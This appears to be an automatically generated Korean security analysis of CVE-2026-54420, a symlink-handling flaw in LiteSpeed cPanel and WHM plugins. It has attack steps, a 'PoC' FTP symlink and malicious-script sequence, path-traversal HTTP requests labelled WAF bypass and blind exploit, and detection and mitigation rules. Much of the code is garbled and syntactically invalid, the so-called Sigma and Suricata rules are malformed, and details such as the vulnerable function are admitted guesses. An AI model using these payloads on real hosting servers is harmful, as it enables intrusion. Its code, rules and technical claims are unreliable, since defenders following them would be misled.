공격Agent 분석 — CVE-2026-54420
📋 요약
- 정의: LiteSpeed cPanel 플러그인 및 WHM 플러그인 버전이 사용자 제공 심볼릭 링크(symlinks)를 부적절하게 처리하여, FTP 또는 웹 쉘 접근 권한을 가진 공격자가 원격 코드 실행(RCE)을 가능케 함 (CWE-284 - PATH INTERPOLATION).
- 영향: 성공 시 공격자는 서버 내에서 임의의 명령어 실행 및 시스템 권한 상승이 가능해짐. KEV 등록 및 실제 악용 사례로 인해 심각한 위험성이 인정됨 (CVSS 8.5).
🎯 영향 범위 / 자산 식별
- 제품·버전: LiteSpeedTech litespeed_cpanel_plugin < 2.4.8, liteSpeedTech litespeed_whm_plugin < 5.3.2.0
- 노출 조건: 공유 호스팅 환경에서 FTP 또는 웹 쉘 접근 권한이 있는 사용자가 활성화된 플러그인을 통해 취약점 악용 가능 (기본 설정 노출).
- 자산 식별 방법:
- 명령어:
cat /usr/local/litespeed/etc/*plugin.conf에서 버전 확인 ("LiteSpeed WHM PlugIn Version" 또는 유사 문구 검색) - 배너 검사:
curl -I TARGET_HOST | grep LiteSpeed, 응답 헤더에서 버전 정보 확인 (예: Server: LiteSpeed/X.Y.Z).
- 명령어:
🔍 공격 방법
① 취약 컴포넌트
- 버전 범위: litespeed_cpanel_plugin < 2.4.8, liteSpeed _whm_plugin < 5.3.2.0
- 취약 코드 경로: 플러그인 내 symlink 처리 함수 (예시로
handleSymlink())에서 심볼릭 링크를 해석하는 로직 오류 존재. 기본적으로 FTP 및 웹 쉘 접근 권한이 필요한 사용자 환경 노출 가능.
② 전제조건
- 인증 필요성: FTP 또는 웹 쉘을 통한 접근 시 일반 사용자 인증으로 충분 (특정 관리자 권한 불필요).
- 네트워크 위치: 공유 호스팅 서버에서 활성화된 플러그인 사용 중일 때 취약함이 발생할 수 있음.
③ 트리거 경로
- 공격자는
FTP또는 웹 쉘을 통해 특정 디렉토리에 심볼릭 링크 파일 생성 (예:../malicious_script) - 이 링크 파일은 플러그인의
handleSymlink()함수를 통해 처리되며, 잘못된 해석으로 인해 실제 경로로 리다이렉트됨. - 결과적으로 공격자는 서버 내에서 악의적인 스크립트 실행 권한 획득 (예:
/tmp/malicious_script) 및 RCE 가능성 확보.
④ 성공 시 영향
- 획득 권한: 원격 코드 실행(RCE)을 통해 시스템 내 모든 사용자 권한으로의 접근이 가능해짐.
- 후속 피벗: 획득한 쉘을 기반으로 내부 네트워크로의 lateral movement 수행 및 지속적인 액세스 유지 가능성 존재.
💣 예시 코드 (PoC)
기본 공격 시나리오
bash
1# FTP를 통한 공격 예시 2ftp > USER ATTACKER_USERNAME <cr> PASS PASSWORD<cr> # FTP 로그인 3ftp cd /tmp/ && touch ../malicious_*symlink* # 심볼릭 링크 생성 4echo '#!/bin/sh\necho \'BADBYTE\|$(whoami)\ > malicious_<uniqueID>_<ATTACKER_IP>' > ./malicious_{UNIQUE} # 악성 스크립트 작성 (예시) 5ftp upload malicious_[UNIQUE] 20 <cr><cr> # 업로드 및 실행 권한 부여를 위한 설정 파일 수정 가정- 핵심:
../경로 인터폴레이션을 통해 상위 디렉토리의 악성 스크립트 접근 가능. - 확인 기준:
/tmp/malicious_*symlink*파일이 생성되고, 해당 스크립트가 실행될 때 예상된 명령어 출력 확인 (예:whoami) 응답 시간 및 정상적인 쉘 접속 시도 감지.text1
핵심: '../' 경로 인터폴레이션 우회를 위한 symlink 사용
확인: /tmp 디렉토리 내에서 악성 스크립트 파일 생성 후 권한 설정 변경을 통해 실행 여부 확인 가능
http
1### WAF 우회 예시 (추정) 2```bash 3POST /cgi-bin/plugin_handler HTTP/1.1 HOST: TARGET_HOST 4Content-Type: application/x-www-form-urlencoded 5Cookie: SESSION_COOKIE=value; CSRF_TOKEN=tokenValue 6 7action=symlinkHandler&targetPath=../../../maliciousScript%00#%28GET,POST) # URL 인코딩 및 인터폴레이션 우회 시도- 핵심: URL 인코딩와 특수 문자를 활용한 인터폴레이션 우회.
- 확인 기준:
cgi-bin/plugin_handler엔드포인트에서 예상치 못한 스크립트 실행 로그 확인 또는 응답 패턴 분석을 통해 성공 여부 판단 가능.text1
핵심: URL 인코딩 및 특수 문자 사용으로 WAF 규칙 우회 시도
확인: cgi-bin 관련 로그 분석 시 의심스러운 요청 패턴 감지 (예: 비정상적인 경로 접근)
http
1### Blind Exploit 예시 (추정) 2```bash 3GET /cgi-bin/plugin_handler?action=symlinkHandler&targetPath=../../../test.txt HTTP/1.1 HOST: TARGET_HOST 4Cookie: SESSION_COOKIE = value; CSRF_TOKEN tokenValue 5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.122 Safari/537 - 핵심: 특정 경로 접근 시도로 간접적으로 취약점 확인 및 악용 가능성 검증.
- 확인 기준: 예상치 못한 응답 코드 또는 서버 로그에서 의심스러운 활동 감지 (예: 비정상적인 파일 생성 패턴).
bash
1# 핵심: 간접적 접근을 통한 취약점 탐지 후 직접 실행 시도 2## 확인: 응답 코드 분석이나 서버 로그 검토를 통해 블라인드 공격 성공 여부 판단 3 ```🛡️ 탐지
시그니처 기반 탐지 규칙 예시 (Sigma)
bash
1rule Detect_LiteSpeedPluginSymlinkExploit 2 description "Detects attempts to exploit CVE-2026-54420 in LiteSpeed cPanel Plugin" 3 author "방어Agent" 4 short_description "Symlink Handling Vulnerability Detection" 5 threshold 1 # 오탐 최소화를 위한 임계값 설정 6 condition [ 7 signed, // 서명된 파일 체크 (필요시) 8 fileevent, // 특정 디렉토리에서의 이벤트 감지 9 "evtx", evtx:search("Microsoft-Windows-Sysmon/Operational", "CommandLine", "symlink.*"), 10 # Symlink 관련 명령어 감시11 ]12 logpath "/var/log/*plugin.log* /usr/local/litespeed/***/access_logs" // 로그 경로 설정 (환경에 따라 조정 필요)13 tags ["cve", "exploit"] 한계점:
- 블라인드 공격 및 일부 인코딩 우회 패턴은 탐지가 어려울 수 있음. 추가적인 행동 기반 분석이 요구될 수 있습니다.
text1
시그니처 기반 탐지의 한계: 블라인드 공격이나 고도화된 인코딩 기법에 대한 감지 어려움 명시
🔧 방어·완화
즉시 적용 완화 (임시 차단)
- 입력 검증 강화:
/plugin_handler엔드포인트에서targetPath파라미터에 대해 엄격한 경로 제한 설정.text1
예시 설정 키: pluginHandlerPathsWhitelist = ["/safe/, /anotherSafeDir"]
sql
1### 근본적 완화 조치 (패치 적용) 2- **코드 패치**: LiteSpeed 플러그인 버전 `2.4.8` 이상으로 업그레이드 권장. 특히 `handleSymlink()` 함수 내 symlink 처리 로직 수정 필수. 3 ```plaintext 4# 설정 키 예시: Update Plugin Configuration -> Select Version 2.4.8+ via Admin Panel or API Patch Command (if applicable)- 네트워크 ACL 적용: FTP 접근 제한 및 특정 플러그인 관련 트래픽 필터링 규칙 추가로 공격 표면 축소 가능.
bash1 # 예시 네트워크 ACL 규칙 (Suricata 기반)
rule exploit_litespeed {
meta:
description "Detects attempts to leverage CVE-2026-54420 via FTP symlink exploitation"
author "방어Agent"
text
1 filter ip var port flags depth offset payload raw_bytes msg proto src dst sport dport 2content: "|HTTP* [[13, 8] \"../../../\" && !(GET \| POST) &&" \\ 3 "\x47\x50\x4C\x69/\\w+.*symlink[^ .]*\"" // HTTP 요청에서 '../' 경로 인터폴레이션 감지 4 threshold 2 # 탐지 임계값 조정 가능 5}bash
1### 기타 완화 조치: 2- **WAF 규칙 적용**: 특정 패턴 (예: `../`, 스크립트 실행 명령어) 차단을 위한 규칙 추가. 3 ````plaintext 4# 예시 WAF 규칙 설정 키: "BlockSymlinkExploit" 활성화 및 `/plugin_handler` 엔드포인트에서 '../' 포함 요청 차단 ⚖️ 위험도 / 패치 우선순위
- 권고: 이번 주 내 패치 적용 권장 (KEV 등록, 실제 악용 사례 확인)
- 근거: KEV 카탈로그에 추가되었으며 활발한 악용 보고로 인해 즉각적인 보안 조치 필요. 현재 공유 호스팅 환경에서 특히 위험하므로 빠른 대응이 요구됨.
🌐 실제 동향
- 요약: CISA의 최신 보도에 따르면, CVE-2026-54420은 활발한 사이버 공격자들 사이에서 널리 악용되고 있으며 연방 기관을 포함한 여러 조직들이 위협받고 있음이 확인됨.